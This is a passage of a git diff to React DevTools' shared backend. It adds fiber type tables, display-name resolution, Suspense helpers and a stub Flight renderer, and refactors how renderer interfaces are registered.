+      Mode: 10,
+      OffscreenComponent: -1, // Experimental
+      Profiler: 15,
+      ScopeComponent: -1, // Experimental
+      SimpleMemoComponent: -1, // Doesn't exist yet
+      SuspenseComponent: 16,
+      SuspenseListComponent: -1, // Doesn't exist yet
+      TracingMarkerComponent: -1, // Doesn't exist yet
+      YieldComponent: -1, // Removed
+      Throw: -1, // Doesn't exist yet
+      ViewTransitionComponent: -1, // Doesn't exist yet
+      ActivityComponent: -1, // Doesn't exist yet
+    };
+  } else {
+    ReactTypeOfWork = {
+      CacheComponent: -1, // Doesn't exist yet
+      ClassComponent: 2,
+      ContextConsumer: 12,
+      ContextProvider: 13,
+      CoroutineComponent: 7,
+      CoroutineHandlerPhase: 8,
+      DehydratedSuspenseComponent: -1, // Doesn't exist yet
+      ForwardRef: 14,
+      Fragment: 10,
+      FunctionComponent: 1,
+      HostComponent: 5,
+      HostPortal: 4,
+      HostRoot: 3,
+      HostHoistable: -1, // Doesn't exist yet
+      HostSingleton: -1, // Doesn't exist yet
+      HostText: 6,
+      IncompleteClassComponent: -1, // Doesn't exist yet
+      IncompleteFunctionComponent: -1, // Doesn't exist yet
+      IndeterminateComponent: 0,
+      LazyComponent: -1, // Doesn't exist yet
+      LegacyHiddenComponent: -1,
+      MemoComponent: -1, // Doesn't exist yet
+      Mode: 11,
+      OffscreenComponent: -1, // Experimental
+      Profiler: 15,
+      ScopeComponent: -1, // Experimental
+      SimpleMemoComponent: -1, // Doesn't exist yet
+      SuspenseComponent: 16,
+      SuspenseListComponent: -1, // Doesn't exist yet
+      TracingMarkerComponent: -1, // Doesn't exist yet
+      YieldComponent: 9,
+      Throw: -1, // Doesn't exist yet
+      ViewTransitionComponent: -1, // Doesn't exist yet
+      ActivityComponent: -1, // Doesn't exist yet
+    };
+  }
+  // **********************************************************
+  // End of copied code.
+  // **********************************************************
+
+  function getTypeSymbol(type: any): symbol | string | number {
+    const symbolOrNumber =
+      typeof type === 'object' && type !== null ? type.$$typeof : type;
+
+    return typeof symbolOrNumber === 'symbol'
+      ? symbolOrNumber.toString()
+      : symbolOrNumber;
+  }
+
+  const {
+    CacheComponent,
+    ClassComponent,
+    IncompleteClassComponent,
+    IncompleteFunctionComponent,
+    FunctionComponent,
+    IndeterminateComponent,
+    ForwardRef,
+    HostRoot,
+    HostHoistable,
+    HostSingleton,
+    HostComponent,
+    HostPortal,
+    HostText,
+    Fragment,
+    LazyComponent,
+    LegacyHiddenComponent,
+    MemoComponent,
+    OffscreenComponent,
+    Profiler,
+    ScopeComponent,
+    SimpleMemoComponent,
+    SuspenseComponent,
+    SuspenseListComponent,
+    TracingMarkerComponent,
+    Throw,
+    ViewTransitionComponent,
+    ActivityComponent,
+  } = ReactTypeOfWork;
+
+  function resolveFiberType(type: any): $FlowFixMe {
+    const typeSymbol = getTypeSymbol(type);
+    switch (typeSymbol) {
+      case MEMO_NUMBER:
+      case MEMO_SYMBOL_STRING:
+        // recursively resolving memo type in case of memo(forwardRef(Component))
+        return resolveFiberType(type.type);
+      case FORWARD_REF_NUMBER:
+      case FORWARD_REF_SYMBOL_STRING:
+        return type.render;
+      default:
+        return type;
+    }
+  }
+
+  // NOTICE Keep in sync with shouldFilterFiber() and other get*ForFiber methods
+  function getDisplayNameForFiber(
+    fiber: Fiber,
+    shouldSkipForgetCheck: boolean = false,
+  ): string | null {
+    const {elementType, type, tag} = fiber;
+
+    let resolvedType = type;
+    if (typeof type === 'object' && type !== null) {
+      resolvedType = resolveFiberType(type);
+    }
+
+    let resolvedContext: any = null;
+    if (
+      !shouldSkipForgetCheck &&
+      // $FlowFixMe[incompatible-type] fiber.updateQueue is mixed
+      (fiber.updateQueue?.memoCache != null ||
+        (Array.isArray(fiber.memoizedState?.memoizedState) &&
+          fiber.memoizedState.memoizedState[0]?.[REACT_MEMO_CACHE_SENTINEL]) ||
+        fiber.memoizedState?.memoizedState?.[REACT_MEMO_CACHE_SENTINEL])
+    ) {
+      const displayNameWithoutForgetWrapper = getDisplayNameForFiber(
+        fiber,
+        true,
+      );
+      if (displayNameWithoutForgetWrapper == null) {
+        return null;
+      }
+
+      return `Forget(${displayNameWithoutForgetWrapper})`;
+    }
+
+    switch (tag) {
+      case ActivityComponent:
+        return 'Activity';
+      case CacheComponent:
+        return 'Cache';
+      case ClassComponent:
+      case IncompleteClassComponent:
+      case IncompleteFunctionComponent:
+      case FunctionComponent:
+      case IndeterminateComponent:
+        return getDisplayName(resolvedType);
+      case ForwardRef:
+        return getWrappedDisplayName(
+          elementType,
+          resolvedType,
+          'ForwardRef',
+          'Anonymous',
+        );
+      case HostRoot:
+        const fiberRoot = fiber.stateNode;
+        if (fiberRoot != null && fiberRoot._debugRootType !== null) {
+          return fiberRoot._debugRootType;
+        }
+        return null;
+      case HostComponent:
+      case HostSingleton:
+      case HostHoistable:
+        return type;
+      case HostPortal:
+      case HostText:
+        return null;
+      case Fragment:
+        return 'Fragment';
+      case LazyComponent:
+        // This display name will not be user visible.
+        // Once a Lazy component loads its inner component, React replaces the tag and type.
+        // This display name will only show up in console logs when DevTools DEBUG mode is on.
+        return 'Lazy';
+      case MemoComponent:
+      case SimpleMemoComponent:
+        // Display name in React does not use `Memo` as a wrapper but fallback name.
+        return getWrappedDisplayName(
+          elementType,
+          resolvedType,
+          'Memo',
+          'Anonymous',
+        );
+      case SuspenseComponent:
+        return 'Suspense';
+      case LegacyHiddenComponent:
+        return 'LegacyHidden';
+      case OffscreenComponent:
+        return 'Offscreen';
+      case ScopeComponent:
+        return 'Scope';
+      case SuspenseListComponent:
+        return 'SuspenseList';
+      case Profiler:
+        return 'Profiler';
+      case TracingMarkerComponent:
+        return 'TracingMarker';
+      case ViewTransitionComponent:
+        return 'ViewTransition';
+      case Throw:
+        // This should really never be visible.
+        return 'Error';
+      default:
+        const typeSymbol = getTypeSymbol(type);
+
+        switch (typeSymbol) {
+          case CONCURRENT_MODE_NUMBER:
+          case CONCURRENT_MODE_SYMBOL_STRING:
+          case DEPRECATED_ASYNC_MODE_SYMBOL_STRING:
+            return null;
+          case PROVIDER_NUMBER:
+          case PROVIDER_SYMBOL_STRING:
+            // 16.3.0 exposed the context object as "context"
+            // PR #12501 changed it to "_context" for 16.3.1+
+            // NOTE Keep in sync with inspectElementRaw()
+            resolvedContext = fiber.type._context || fiber.type.context;
+            return `${resolvedContext.displayName || 'Context'}.Provider`;
+          case CONTEXT_NUMBER:
+          case CONTEXT_SYMBOL_STRING:
+          case SERVER_CONTEXT_SYMBOL_STRING:
+            if (
+              fiber.type._context === undefined &&
+              fiber.type.Provider === fiber.type
+            ) {
+              // In 19+, Context.Provider === Context, so this is a provider.
+              resolvedContext = fiber.type;
+              return `${resolvedContext.displayName || 'Context'}.Provider`;
+            }
+
+            // 16.3-16.5 read from "type" because the Consumer is the actual context object.
+            // 16.6+ should read from "type._context" because Consumer can be different (in DEV).
+            // NOTE Keep in sync with inspectElementRaw()
+            resolvedContext = fiber.type._context || fiber.type;
+
+            // NOTE: TraceUpdatesBackendManager depends on the name ending in '.Consumer'
+            // If you change the name, figure out a more resilient way to detect it.
+            return `${resolvedContext.displayName || 'Context'}.Consumer`;
+          case CONSUMER_SYMBOL_STRING:
+            // 19+
+            resolvedContext = fiber.type._context;
+            return `${resolvedContext.displayName || 'Context'}.Consumer`;
+          case STRICT_MODE_NUMBER:
+          case STRICT_MODE_SYMBOL_STRING:
+            return null;
+          case PROFILER_NUMBER:
+          case PROFILER_SYMBOL_STRING:
+            return `Profiler(${fiber.memoizedProps.id})`;
+          case SCOPE_NUMBER:
+          case SCOPE_SYMBOL_STRING:
+            return 'Scope';
+          default:
+            // Unknown element type.
+            // This may mean a new element type that has not yet been added to DevTools.
+            return null;
+        }
+    }
+  }
+
+  return {
+    getDisplayNameForFiber,
+    getTypeSymbol,
+    ReactPriorityLevels,
+    ReactTypeOfWork,
+    StrictModeBits,
+    SuspenseyImagesMode,
+  };
+}
diff --git a/packages/react-devtools-shared/src/backend/fiber/shared/DevToolsFiberSuspense.js b/packages/react-devtools-shared/src/backend/fiber/shared/DevToolsFiberSuspense.js
new file mode 100644
index 000000000000..b0b64b184c22
--- /dev/null
+++ b/packages/react-devtools-shared/src/backend/fiber/shared/DevToolsFiberSuspense.js
@@ -0,0 +1,47 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+import type {ReactIOInfo, ReactAsyncInfo} from 'shared/ReactTypes';
+import type {SuspenseNode} from './DevToolsFiberTypes';
+
+export function ioExistsInSuspenseAncestor(
+  suspenseNode: SuspenseNode,
+  ioInfo: ReactIOInfo,
+): boolean {
+  let ancestor = suspenseNode.parent;
+  while (ancestor !== null) {
+    if (ancestor.suspendedBy.has(ioInfo)) {
+      return true;
+    }
+    ancestor = ancestor.parent;
+  }
+  return false;
+}
+
+export function getAwaitInSuspendedByFromIO(
+  suspensedBy: Array<ReactAsyncInfo>,
+  ioInfo: ReactIOInfo,
+): null | ReactAsyncInfo {
+  for (let i = 0; i < suspensedBy.length; i++) {
+    const asyncInfo = suspensedBy[i];
+    if (asyncInfo.awaited === ioInfo) {
+      return asyncInfo;
+    }
+  }
+  return null;
+}
+
+export function getVirtualEndTime(ioInfo: ReactIOInfo): number {
+  if (ioInfo.env != null) {
+    // Sort client side content first so that scripts and streams don't
+    // cover up the effect of server time.
+    return ioInfo.end + 1000000;
+  }
+  return ioInfo.end;
+}
diff --git a/packages/react-devtools-shared/src/backend/fiber/shared/DevToolsFiberTypes.js b/packages/react-devtools-shared/src/backend/fiber/shared/DevToolsFiberTypes.js
new file mode 100644
index 000000000000..1b01dfbc5bbc
--- /dev/null
+++ b/packages/react-devtools-shared/src/backend/fiber/shared/DevToolsFiberTypes.js
@@ -0,0 +1,99 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+import type {Fiber} from 'react-reconciler/src/ReactInternalTypes';
+import type {
+  ReactComponentInfo,
+  ReactAsyncInfo,
+  ReactIOInfo,
+  ReactFunctionLocation,
+} from 'shared/ReactTypes';
+import type {Rect} from '../../types';
+
+// Kinds
+export const FIBER_INSTANCE = 0;
+export const VIRTUAL_INSTANCE = 1;
+export const FILTERED_FIBER_INSTANCE = 2;
+
+// This type represents a stateful instance of a Client Component i.e. a Fiber pair.
+// These instances also let us track stateful DevTools meta data like id and warnings.
+export type FiberInstance = {
+  kind: 0,
+  id: number,
+  parent: null | DevToolsInstance,
+  firstChild: null | DevToolsInstance,
+  nextSibling: null | DevToolsInstance,
+  source: null | string | Error | ReactFunctionLocation, // source location of this component function, or owned child stack
+  logCount: number, // total number of errors/warnings last seen
+  treeBaseDuration: number, // the profiled time of the last render of this subtree
+  suspendedBy: null | Array<ReactAsyncInfo>, // things that suspended in the children position of this component
+  suspenseNode: null | SuspenseNode,
+  data: Fiber, // one of a Fiber pair
+};
+
+export type FilteredFiberInstance = {
+  kind: 2,
+  // We exclude id from the type to get errors if we try to access it.
+  // However it is still in the object to preserve hidden class.
+  // id: number,
+  parent: null | DevToolsInstance,
+  firstChild: null | DevToolsInstance,
+  nextSibling: null | DevToolsInstance,
+  source: null | string | Error | ReactFunctionLocation, // always null here.
+  logCount: number, // total number of errors/warnings last seen
+  treeBaseDuration: number, // the profiled time of the last render of this subtree
+  suspendedBy: null | Array<ReactAsyncInfo>, // only used at the root
+  suspenseNode: null | SuspenseNode,
+  data: Fiber, // one of a Fiber pair
+};
+
+// This type represents a stateful instance of a Server Component or a Component
+// that gets optimized away - e.g. call-through without creating a Fiber.
+// It's basically a virtual Fiber. This is not a semantic concept in React.
+// It only exists as a virtual concept to let the same Element in the DevTools
+// persist. To be selectable separately from all ReactComponentInfo and overtime.
+export type VirtualInstance = {
+  kind: 1,
+  id: number,
+  parent: null | DevToolsInstance,
+  firstChild: null | DevToolsInstance,
+  nextSibling: null | DevToolsInstance,
+  source: null | string | Error | ReactFunctionLocation, // source location of this server component, or owned child stack
+  logCount: number, // total number of errors/warnings last seen
+  treeBaseDuration: number, // the profiled time of the last render of this subtree
+  suspendedBy: null | Array<ReactAsyncInfo>, // things that blocked the server component's child from rendering
+  suspenseNode: null,
+  // The latest info for this instance. This can be updated over time and the
+  // same info can appear in more than once ServerComponentInstance.
+  data: ReactComponentInfo,
+};
+
+export type DevToolsInstance =
+  | FiberInstance
+  | VirtualInstance
+  | FilteredFiberInstance;
+
+export type SuspenseNode = {
+  // The Instance can be a Suspense boundary, a SuspenseList Row, or HostRoot.
+  // It can also be disconnected from the main tree if it's a Filtered Instance.
+  instance: FiberInstance | FilteredFiberInstance,
+  parent: null | SuspenseNode,
+  firstChild: null | SuspenseNode,
+  nextSibling: null | SuspenseNode,
+  rects: null | Array<Rect>, // The bounding rects of content children.
+  suspendedBy: Map<ReactIOInfo, Set<DevToolsInstance>>, // Tracks which data we're suspended by and the children that suspend it.
+  environments: Map<string, number>, // Tracks the Flight environment names that suspended this. I.e. if the server blocked this.
+  endTime: number, // Track a short cut to the maximum end time value within the suspendedBy set.
+  // Track whether any of the items in suspendedBy are unique this this Suspense boundaries or if they're all
+  // also in the parent sets. This determine whether this could contribute in the loading sequence.
+  hasUniqueSuspenders: boolean,
+  // Track whether anything suspended in this boundary that we can't track either because it was using throw
+  // a promise, an older version of React or because we're inspecting prod.
+  hasUnknownSuspenders: boolean,
+};
diff --git a/packages/react-devtools-shared/src/backend/flight/DevToolsComponentInfoStack.js b/packages/react-devtools-shared/src/backend/flight/DevToolsComponentInfoStack.js
new file mode 100644
index 000000000000..05864ed28167
--- /dev/null
+++ b/packages/react-devtools-shared/src/backend/flight/DevToolsComponentInfoStack.js
@@ -0,0 +1,55 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+// This is a DevTools fork of ReactComponentInfoStack.
+// This fork enables DevTools to use the same "native" component stack format,
+// while still maintaining support for multiple renderer versions
+// (which use different values for ReactTypeOfWork).
+
+import type {ReactComponentInfo} from 'shared/ReactTypes';
+
+import {describeBuiltInComponentFrame} from '../shared/DevToolsComponentStackFrame';
+
+import {formatOwnerStack} from '../shared/DevToolsOwnerStack';
+
+export function getOwnerStackByComponentInfoInDev(
+  componentInfo: ReactComponentInfo,
+): string {
+  try {
+    let info = '';
+
+    // The owner stack of the current component will be where it was created, i.e. inside its owner.
+    // There's no actual name of the currently executing component. Instead, that is available
+    // on the regular stack that's currently executing. However, if there is no owner at all, then
+    // there's no stack frame so we add the name of the root component to the stack to know which
+    // component is currently executing.
+    if (!componentInfo.owner && typeof componentInfo.name === 'string') {
+      return describeBuiltInComponentFrame(componentInfo.name);
+    }
+
+    let owner: void | null | ReactComponentInfo = componentInfo;
+
+    while (owner) {
+      const ownerStack: ?Error = owner.debugStack;
+      if (ownerStack != null) {
+        // Server Component
+        owner = owner.owner;
+        if (owner) {
+          // TODO: Should we stash this somewhere for caching purposes?
+          info += '\n' + formatOwnerStack(ownerStack);
+        }
+      } else {
+        break;
+      }
+    }
+    return info;
+  } catch (x) {
+    return '\nError generating stack: ' + x.message + '\n' + x.stack;
+  }
+}
diff --git a/packages/react-devtools-shared/src/backend/flight/renderer.js b/packages/react-devtools-shared/src/backend/flight/renderer.js
new file mode 100644
index 000000000000..e26525a0d607
--- /dev/null
+++ b/packages/react-devtools-shared/src/backend/flight/renderer.js
@@ -0,0 +1,228 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+import type {ReactComponentInfo} from 'shared/ReactTypes';
+
+import type {DevToolsHook, ReactRenderer, RendererInterface} from '../types';
+
+import {getOwnerStackByComponentInfoInDev} from './DevToolsComponentInfoStack';
+
+import {formatOwnerStack} from '../shared/DevToolsOwnerStack';
+
+import {componentInfoToComponentLogsMap} from '../shared/DevToolsServerComponentLogs';
+
+import {formatConsoleArgumentsToSingleString} from 'react-devtools-shared/src/backend/utils';
+
+function supportsConsoleTasks(componentInfo: ReactComponentInfo): boolean {
+  // If this ReactComponentInfo supports native console.createTask then we are already running
+  // inside a native async stack trace if it's active - meaning the DevTools is open.
+  // Ideally we'd detect if this task was created while the DevTools was open or not.
+  return !!componentInfo.debugTask;
+}
+
+export function attach(
+  hook: DevToolsHook,
+  rendererID: number,
+  renderer: ReactRenderer,
+  global: Object,
+): RendererInterface {
+  const {getCurrentComponentInfo} = renderer;
+
+  function getComponentStack(
+    topFrame: Error,
+  ): null | {enableOwnerStacks: boolean, componentStack: string} {
+    if (getCurrentComponentInfo === undefined) {
+      // Expected this to be part of the renderer. Ignore.
+      return null;
+    }
+    const current = getCurrentComponentInfo();
+    if (current === null) {
+      // Outside of our render scope.
+      return null;
+    }
+
+    if (supportsConsoleTasks(current)) {
+      // This will be handled natively by console.createTask. No need for
+      // DevTools to add it.
+      return null;
+    }
+
+    const enableOwnerStacks = current.debugStack != null;
+    let componentStack = '';
+    if (enableOwnerStacks) {
+      // Prefix the owner stack with the current stack. I.e. what called
+      // console.error. While this will also be part of the native stack,
+      // it is hidden and not presented alongside this argument so we print
+      // them all together.
+      const topStackFrames = formatOwnerStack(topFrame);
+      if (topStackFrames) {
+        componentStack += '\n' + topStackFrames;
+      }
+      componentStack += getOwnerStackByComponentInfoInDev(current);
+    }
+    return {enableOwnerStacks, componentStack};
+  }
+
+  // Called when an error or warning is logged during render, commit, or passive (including unmount functions).
+  function onErrorOrWarning(
+    type: 'error' | 'warn',
+    args: $ReadOnlyArray<any>,
+  ): void {
+    if (getCurrentComponentInfo === undefined) {
+      // Expected this to be part of the renderer. Ignore.
+      return;
+    }
+    const componentInfo = getCurrentComponentInfo();
+    if (componentInfo === null) {
+      // Outside of our render scope.
+      return;
+    }
+
+    if (
+      args.length > 3 &&
+      typeof args[0] === 'string' &&
+      args[0].startsWith('%c%s%c ') &&
+      typeof args[1] === 'string' &&
+      typeof args[2] === 'string' &&
+      typeof args[3] === 'string'
+    ) {
+      // This looks like the badge we prefixed to the log. Our UI doesn't support formatted logs.
+      // We remove the formatting. If the environment of the log is the same as the environment of
+      // the component (the common case) we remove the badge completely otherwise leave it plain
+      const format = args[0].slice(7);
+      const env = args[2].trim();
+      args = args.slice(4);
+      if (env !== componentInfo.env) {
+        args.unshift('[' + env + '] ' + format);
+      } else {
+        args.unshift(format);
+      }
+    }
+
+    // We can't really use this message as a unique key, since we can't distinguish
+    // different objects in this implementation. We have to delegate displaying of the objects
+    // to the environment, the browser console, for example, so this is why this should be kept
+    // as an array of arguments, instead of the plain string.
+    // [Warning: %o, {...}] and [Warning: %o, {...}] will be considered as the same message,
+    // even if objects are different
+    const message = formatConsoleArgumentsToSingleString(...args);
+
+    // Track the warning/error for later.
+    let componentLogsEntry = componentInfoToComponentLogsMap.get(componentInfo);
+    if (componentLogsEntry === undefined) {
+      componentLogsEntry = {
+        errors: new Map(),
+        errorsCount: 0 as number,
+        warnings: new Map(),
+        warningsCount: 0 as number,
+      };
+      componentInfoToComponentLogsMap.set(componentInfo, componentLogsEntry);
+    }
+
+    const messageMap =
+      type === 'error'
+        ? componentLogsEntry.errors
+        : componentLogsEntry.warnings;
+    const count = messageMap.get(message) || 0;
+    messageMap.set(message, count + 1);
+    if (type === 'error') {
+      componentLogsEntry.errorsCount++;
+    } else {
+      componentLogsEntry.warningsCount++;
+    }
+
+    // The changes will be flushed later when we commit this tree to Fiber.
+  }
+
+  const supportsTogglingSuspense = false;
+
+  return {
+    cleanup() {},
+    clearErrorsAndWarnings() {},
+    clearErrorsForElementID() {},
+    clearWarningsForElementID() {},
+    getSerializedElementValueByPath() {},
+    deletePath() {},
+    findHostInstancesForElementID() {
+      return null;
+    },
+    findLastKnownRectsForID() {
+      return null;
+    },
+    flushInitialOperations() {},
+    getBestMatchForTrackedPath() {
+      return null;
+    },
+    getComponentStack,
+    getDisplayNameForElementID() {
+      return null;
+    },
+    getNearestMountedDOMNode() {
+      return null;
+    },
+    getElementIDForHostInstance() {
+      return null;
+    },
+    getSuspenseNodeIDForHostInstance() {
+      return null;
+    },
+    getInstanceAndStyle() {
+      return {
+        instance: null,
+        style: null,
+      };
+    },
+    getOwnersList() {
+      return null;
+    },
+    getPathForElement() {
+      return null;
+    },
+    getProfilingData() {
+      throw new Error('getProfilingData not supported by this renderer');
+    },
+    handleCommitFiberRoot() {},
+    handleCommitFiberUnmount() {},
+    handlePostCommitFiberRoot() {},
+    hasElementWithId() {
+      return false;
+    },
+    inspectElement(
+      requestID: number,
+      id: number,
+      path: Array<string | number> | null,
+    ) {
+      return {
+        id,
+        responseID: requestID,
+        type: 'not-found',
+      };
+    },
+    logElementToConsole() {},
+    getElementAttributeByPath() {},
+    getElementSourceFunctionById() {},
+    onErrorOrWarning,
+    overrideError() {},
+    overrideSuspense() {},
+    overrideSuspenseMilestone() {},
+    overrideValueAtPath() {},
+    renamePath() {},
+    renderer,
+    setTraceUpdatesEnabled() {},
+    setTrackedPath() {},
+    startProfiling() {},
+    stopProfiling() {},
+    storeAsGlobal() {},
+    supportsTogglingSuspense,
+    updateComponentFilters() {},
+    getEnvironmentNames() {
+      return [];
+    },
+  };
+}
diff --git a/packages/react-devtools-shared/src/backend/index.js b/packages/react-devtools-shared/src/backend/index.js
index 376a23b36986..ace5dbc8c03c 100644
--- a/packages/react-devtools-shared/src/backend/index.js
+++ b/packages/react-devtools-shared/src/backend/index.js
@@ -9,16 +9,7 @@
 
 import Agent from './agent';
 
-import {attach} from './renderer';
-import {attach as attachLegacy} from './legacy/renderer';
-import {hasAssignedBackend} from './utils';
-
-import type {DevToolsHook, ReactRenderer, RendererInterface} from './types';
-
-// this is the backend that is compatible with all older React versions
-function isMatchingRender(version: string): boolean {
-  return !hasAssignedBackend(version);
-}
+import type {DevToolsHook, RendererID, RendererInterface} from './types';
 
 export type InitBackend = typeof initBackend;
 
@@ -26,98 +17,62 @@ export function initBackend(
   hook: DevToolsHook,
   agent: Agent,
   global: Object,
+  isReloadAndProfileSupported: boolean,
 ): () => void {
   if (hook == null) {
     // DevTools didn't get injected into this page (maybe b'c of the contentType).
     return () => {};
   }
 
+  function registerRendererInterface(
+    id: RendererID,
+    rendererInterface: RendererInterface,
+  ) {
+    agent.registerRendererInterface(id, rendererInterface);
+
+    // Now that the Store and the renderer interface are connected,
+    // it's time to flush the pending operation codes to the frontend.
+    rendererInterface.flushInitialOperations();
+  }
+
   const subs = [
     hook.sub(
       'renderer-attached',
       ({
         id,
-        renderer,
         rendererInterface,
       }: {
         id: number,
-        renderer: ReactRenderer,
         rendererInterface: RendererInterface,
-        ...
       }) => {
-        agent.setRendererInterface(id, rendererInterface);
-
-        // Now that the Store and the renderer interface are connected,
-        // it's time to flush the pending operation codes to the frontend.
-        rendererInterface.flushInitialOperations();
+        registerRendererInterface(id, rendererInterface);
       },
     ),
-
-    hook.sub('unsupported-renderer-version', (id: number) => {
-      agent.onUnsupportedRenderer(id);
+    hook.sub('unsupported-renderer-version', () => {
+      agent.onUnsupportedRenderer();
     }),
 
     hook.sub('fastRefreshScheduled', agent.onFastRefreshScheduled),
     hook.sub('operations', agent.onHookOperations),
     hook.sub('traceUpdates', agent.onTraceUpdates),
+    hook.sub('settingsInitialized', agent.onHookSettings),
 
     // TODO Add additional subscriptions required for profiling mode
   ];
 
-  const attachRenderer = (id: number, renderer: ReactRenderer) => {
-    // only attach if the renderer is compatible with the current version of the backend
-    if (!isMatchingRender(renderer.reconcilerVersion || renderer.version)) {
-      return;
-    }
-    let rendererInterface = hook.rendererInterfaces.get(id);
-
-    // Inject any not-yet-injected renderers (if we didn't reload-and-profile)
-    if (rendererInterface == null) {
-      if (typeof renderer.findFiberByHostInstance === 'function') {
-        // react-reconciler v16+
-        rendererInterface = attach(hook, id, renderer, global);
-      } else if (renderer.ComponentTree) {
-        // react-dom v15
-        rendererInterface = attachLegacy(hook, id, renderer, global);
-      } else {
-        // Older react-dom or other unsupported renderer version
-      }
-
-      if (rendererInterface != null) {
-        hook.rendererInterfaces.set(id, rendererInterface);
-      }
-    }
-
-    // Notify the DevTools frontend about new renderers.
-    // This includes any that were attached early (via __REACT_DEVTOOLS_ATTACH__).
-    if (rendererInterface != null) {
-      hook.emit('renderer-attached', {
-        id,
-        renderer,
-        rendererInterface,
-      });
-    } else {
-      hook.emit('unsupported-renderer-version', id);
+  agent.addListener('getIfHasUnsupportedRendererVersion', () => {
+    if (hook.hasUnsupportedRendererAttached) {
+      agent.onUnsupportedRenderer();
     }
-  };
-
-  // Connect renderers that have already injected themselves.
-  hook.renderers.forEach((renderer, id) => {
-    attachRenderer(id, renderer);
   });
 
-  // Connect any new renderers that injected themselves.
-  subs.push(
-    hook.sub(
-      'renderer',
-      ({id, renderer}: {id: number, renderer: ReactRenderer, ...}) => {
-        attachRenderer(id, renderer);
-      },
-    ),
-  );
+  hook.rendererInterfaces.forEach((rendererInterface, id) => {
+    registerRendererInterface(id, rendererInterface);
+  });
 
   hook.emit('react-devtools', agent);
   hook.reactDevtoolsAgent = agent;
+
   const onAgentShutdown = () => {
     subs.forEach(fn => fn());
     hook.rendererInterfaces.forEach(rendererInterface => {
@@ -125,11 +80,22 @@ export function initBackend(
     });
     hook.reactDevtoolsAgent = null;
   };
+
+  // Agent's event listeners are cleaned up by Agent in `shutdown` implementation.
   agent.addListener('shutdown', onAgentShutdown);
-  subs.push(() => {
-    agent.removeListener('shutdown', onAgentShutdown);
+  agent.addListener('updateHookSettings', settings => {
+    hook.settings = settings;
+  });
+  agent.addListener('getHookSettings', () => {
+    if (hook.settings != null) {
+      agent.onHookSettings(hook.settings);
+    }
   });
 
+  if (isReloadAndProfileSupported) {
+    agent.onReloadAndProfileSupportedByHost();
+  }
+
   return () => {
     subs.forEach(fn => fn());
   };
diff --git a/packages/react-devtools-shared/src/backend/legacy/renderer.js b/packages/react-devtools-shared/src/backend/legacy/renderer.js
index e037d45075a8..ccd9cdac3e02 100644
--- a/packages/react-devtools-shared/src/backend/legacy/renderer.js
+++ b/packages/react-devtools-shared/src/backend/legacy/renderer.js
@@ -34,15 +34,18 @@ import {
   TREE_OPERATION_ADD,
   TREE_OPERATION_REMOVE,
   TREE_OPERATION_REORDER_CHILDREN,
+  SUSPENSE_TREE_OPERATION_ADD,
+  SUSPENSE_TREE_OPERATION_REMOVE,
+  UNKNOWN_SUSPENDERS_NONE,
 } from '../../constants';
 import {decorateMany, forceUpdate, restoreMany} from './utils';
 
 import type {
   DevToolsHook,
-  GetFiberIDForNative,
+  GetElementIDForHostInstance,
   InspectedElementPayload,
   InstanceAndStyle,
-  NativeType,
+  HostInstance,
   PathFrame,
   PathMatch,
   RendererInterface,
@@ -142,39 +145,46 @@ export function attach(
   const internalInstanceToRootIDMap: WeakMap<InternalInstance, number> =
     new WeakMap();
 
-  let getInternalIDForNative: GetFiberIDForNative =
-    ((null: any): GetFiberIDForNative);
-  let findNativeNodeForInternalID: (id: number) => ?NativeType;
-  let getFiberForNative = (node: NativeType) => {
+  let getElementIDForHostInstance: GetElementIDForHostInstance =
+    ((null: any): GetElementIDForHostInstance);
+  let findHostInstanceForInternalID: (id: number) => ?HostInstance;
+  let getNearestMountedDOMNode = (node: Element): null | Element => {
     // Not implemented.
     return null;
   };
 
   if (renderer.ComponentTree) {
-    getInternalIDForNative = (node, findNearestUnfilteredAncestor) => {
+    getElementIDForHostInstance = node => {
       const internalInstance =
         renderer.ComponentTree.getClosestInstanceFromNode(node);
       return internalInstanceToIDMap.get(internalInstance) || null;
     };
-    findNativeNodeForInternalID = (id: number) => {
+    findHostInstanceForInternalID = (id: number) => {
       const internalInstance = idToInternalInstanceMap.get(id);
       return renderer.ComponentTree.getNodeFromInstance(internalInstance);
     };
-    getFiberForNative = (node: NativeType) => {
-      return renderer.ComponentTree.getClosestInstanceFromNode(node);
+    getNearestMountedDOMNode = (node: Element): null | Element => {
+      const internalInstance =
+        renderer.ComponentTree.getClosestInstanceFromNode(node);
+      if (internalInstance != null) {
+        return renderer.ComponentTree.getNodeFromInstance(internalInstance);
+      }
+      return null;
     };
   } else if (renderer.Mount.getID && renderer.Mount.getNode) {
-    getInternalIDForNative = (node, findNearestUnfilteredAncestor) => {
+    getElementIDForHostInstance = node => {
       // Not implemented.
       return null;
     };
-    findNativeNodeForInternalID = (id: number) => {
+    findHostInstanceForInternalID = (id: number) => {
       // Not implemented.
       return null;
     };
   }
 
-  function getDisplayNameForFiberID(id: number): string | null {
+  const supportsTogglingSuspense = false;
+
+  function getDisplayNameForElementID(id: number): string | null {
     const internalInstance = idToInternalInstanceMap.get(id);
     return internalInstance ? getData(internalInstance).displayName : null;
   }
@@ -402,6 +412,14 @@ export function attach(
       pushOperation(0); // Profiling flag
       pushOperation(0); // StrictMode supported?
       pushOperation(hasOwnerMetadata ? 1 : 0);
+
+      pushOperation(SUSPENSE_TREE_OPERATION_ADD);
+      pushOperation(id);
+      pushOperation(parentID);
+      pushOperation(getStringID(null)); // name
+      pushOperation(0); // isSuspended
+      // TODO: Measure rect of root
+      pushOperation(-1);
     } else {
       const type = getElementType(internalInstance);
       const {displayName, key} = getData(internalInstance);
@@ -421,6 +439,7 @@ export function attach(
       pushOperation(ownerID);
       pushOperation(displayNameStringID);
       pushOperation(keyStringID);
+      pushOperation(getStringID(null)); // name prop
     }
   }
 
@@ -439,7 +458,12 @@ export function attach(
   }
 
   function recordUnmount(internalInstance: InternalInstance, id: number) {
